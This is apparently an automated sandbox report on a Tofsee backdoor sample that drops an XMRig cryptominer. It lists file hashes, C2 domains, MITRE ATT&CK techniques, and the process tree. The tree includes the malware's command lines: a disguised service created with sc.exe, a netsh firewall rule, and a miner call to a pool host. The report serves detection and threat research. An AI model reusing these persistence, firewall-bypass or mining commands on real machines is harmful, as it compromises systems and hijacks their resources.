Analysis

  • max time kernel
    162s
  • max time network
    169s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    22-01-2022 12:30

General

  • Target

    fde33881305e8034200d14a6f4f87be89b7fc31c97bbfe126c0abb79dd59ece1.exe

  • Size

    256KB

  • MD5

    72b3285b70caa9cfdeaf5e66fa4230f9

  • SHA1

    ac57d34d73959cfe5d7998b5d17c2e5093e6dceb

  • SHA256

    fde33881305e8034200d14a6f4f87be89b7fc31c97bbfe126c0abb79dd59ece1

  • SHA512

    b23ab543f73dd31d4dfaf3669b360d85389563e8afb4308a8f60b1a0328fbafb01df6a270b6bde1e2e243db5588683c4540615fe77edd7ff0afc2281fce78098

Malware Config

Extracted

Family

tofsee

C2

patmushta.info

ovicrush.cn

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fde33881305e8034200d14a6f4f87be89b7fc31c97bbfe126c0abb79dd59ece1.exe
    "C:\Users\Admin\AppData\Local\Temp\fde33881305e8034200d14a6f4f87be89b7fc31c97bbfe126c0abb79dd59ece1.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2656
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gjwtkgnw\
      2⤵
        PID:592
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lbtetxiy.exe" C:\Windows\SysWOW64\gjwtkgnw\
        2⤵
          PID:848
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create gjwtkgnw binPath= "C:\Windows\SysWOW64\gjwtkgnw\lbtetxiy.exe /d\"C:\Users\Admin\AppData\Local\Temp\fde33881305e8034200d14a6f4f87be89b7fc31c97bbfe126c0abb79dd59ece1.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:2168
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description gjwtkgnw "wifi internet conection"
            2⤵
              PID:492
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start gjwtkgnw
              2⤵
                PID:4016
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:3596
              • C:\Windows\SysWOW64\gjwtkgnw\lbtetxiy.exe
                C:\Windows\SysWOW64\gjwtkgnw\lbtetxiy.exe /d"C:\Users\Admin\AppData\Local\Temp\fde33881305e8034200d14a6f4f87be89b7fc31c97bbfe126c0abb79dd59ece1.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3748
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:2900
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1772

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Discovery

              System Information Discovery

              1
              T1082

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\lbtetxiy.exe
                MD5

                e66c2f232eaaf47271e886a1b1203131

                SHA1

                ae15d67ce65855792a9d839605136e291b55003d

                SHA256

                4d3114db619c8784bbcc5ed4b3c8197b530d56d7b7a49b141f83e07bb253ac38

                SHA512

                cf67bf764cceb238490ab8ef5613ddfb61ee84e5c753daf43b33c99f5c876597d091411f60df58a8650f5042e13f6d8ce75bd167251758fa6aec8f174efdbf46

              • C:\Windows\SysWOW64\gjwtkgnw\lbtetxiy.exe
                MD5

                e66c2f232eaaf47271e886a1b1203131

                SHA1

                ae15d67ce65855792a9d839605136e291b55003d

                SHA256

                4d3114db619c8784bbcc5ed4b3c8197b530d56d7b7a49b141f83e07bb253ac38

                SHA512

                cf67bf764cceb238490ab8ef5613ddfb61ee84e5c753daf43b33c99f5c876597d091411f60df58a8650f5042e13f6d8ce75bd167251758fa6aec8f174efdbf46

              • memory/1772-129-0x00000000026E0000-0x00000000027D1000-memory.dmp
                Filesize

                964KB

              • memory/1772-133-0x00000000026E0000-0x00000000027D1000-memory.dmp
                Filesize

                964KB

              • memory/2656-118-0x0000000000030000-0x000000000003D000-memory.dmp
                Filesize

                52KB

              • memory/2656-119-0x0000000000560000-0x0000000000573000-memory.dmp
                Filesize

                76KB

              • memory/2656-120-0x0000000000400000-0x0000000000446000-memory.dmp
                Filesize

                280KB

              • memory/2900-123-0x0000000002F80000-0x0000000002F95000-memory.dmp
                Filesize

                84KB

              • memory/3748-124-0x0000000000030000-0x000000000003D000-memory.dmp
                Filesize

                52KB

              • memory/3748-127-0x0000000000880000-0x0000000000893000-memory.dmp
                Filesize

                76KB

              • memory/3748-128-0x0000000000400000-0x0000000000446000-memory.dmp
                Filesize

                280KB